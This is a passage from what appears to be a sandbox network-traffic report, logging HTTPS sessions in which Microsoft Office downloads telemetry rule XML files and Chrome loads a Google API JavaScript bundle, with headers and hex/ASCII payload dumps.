2024-11-21 06:10:41 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:41 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: fa1269cf-b01e-003d-7592-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061041Z-r1d97b99577sdxndhC1TEBec5n0000000a0000000000g9n6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:41 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:41 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:41 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061041Z-1777c6cb754mrj2shC1TEB6k7w0000000ax00000000037eh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:41 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:41 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:42 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061042Z-1777c6cb754g9zd5hC1TEBfvpw0000000as000000000kdtv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:42 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:42 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:42 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:42 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 538e08fd-a01e-0032-4b7d-3b1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061042Z-1777c6cb754g9zd5hC1TEBfvpw0000000ax0000000002cgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49866	142.250.185.206	443	2920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:42 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 06:10:43 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 116987 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 20 Nov 2024 09:50:00 GMT Expires: Thu, 20 Nov 2025 09:50:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 11 Nov 2024 18:41:25 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 73243 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-21 06:10:43 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 61 61 2c 62 61 2c 66 61 2c 6d 61 2c 6e 61 2c 72 61 2c 73 61 2c 75 61 3b 61 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);var aa,ba,fa,ma,na,ra,sa,ua;aa=fun
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 61 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 72 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 73 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e Data Ascii: efined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:aa(a)};throw Error("b`"+String(a));};ra=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};sa=typeof Object.assign=="function"?Object.
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 3b 74 68 69 73 2e 4b 72 3d 5b 5d 3b 74 68 69 73 2e 58 55 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 61 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 4d 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 48 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 4d 64 61 3d 66 75 6e 63 74 69 Data Ascii: ;this.Kr=[];this.XU=!1;var k=this.aF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.aF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Mda),reject:h(this.HJ)}};e.prototype.Mda=functi
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 74 6f 74 79 70 65 2e 79 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4b 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4b 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 4d 4f 28 74 68 69 73 2e 4b 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4b 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 61 46 28 29 3b 68 2e 5a 78 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 61 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 65 Data Ascii: totype.y7=function(){if(this.Kr!=null){for(var h=0;h<this.Kr.length;++h)f.MO(this.Kr[h]);this.Kr=null}};var f=new b;e.prototype.tfa=function(h){var k=this.aF();h.Zx(k.resolve,k.reject)};e.prototype.ufa=function(h,k){var l=this.aF();try{h.call(k,l.resolve
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6d 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 42 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d 7d Data Ascii: egular expression");return a+""};ma("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ba(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}}
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 72 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 72 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 64 Data Ascii: (l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!ra(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&ra(l,f)?l[f][this.Ga]:void
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 58 65 2e 50 6b 2e 6e 65 78 74 3d 6b 2e 58 65 2e 6e 65 78 74 2c 6b 2e 58 65 2e 6e 65 78 74 2e 50 6b 3d 0a 6b 2e 58 65 2e 50 6b 2c 6b 2e 58 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 50 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 58 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h\|\|delete this[0][k.id],k.Xe.Pk.next=k.Xe.next,k.Xe.next.Pk=k.Xe.Pk,k.Xe.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Pk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Xe};c.prototype.get=function(
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 Data Ascii: ]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.ne
2024-11-21 06:10:43 UTC	1390	IN	Data Raw: 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6d 61 28 Data Ascii: d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});ma(

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:43 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:43 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 008b0be1-f01e-001f-587c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061043Z-1777c6cb754xlpjshC1TEBv8cc0000000axg000000001938 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
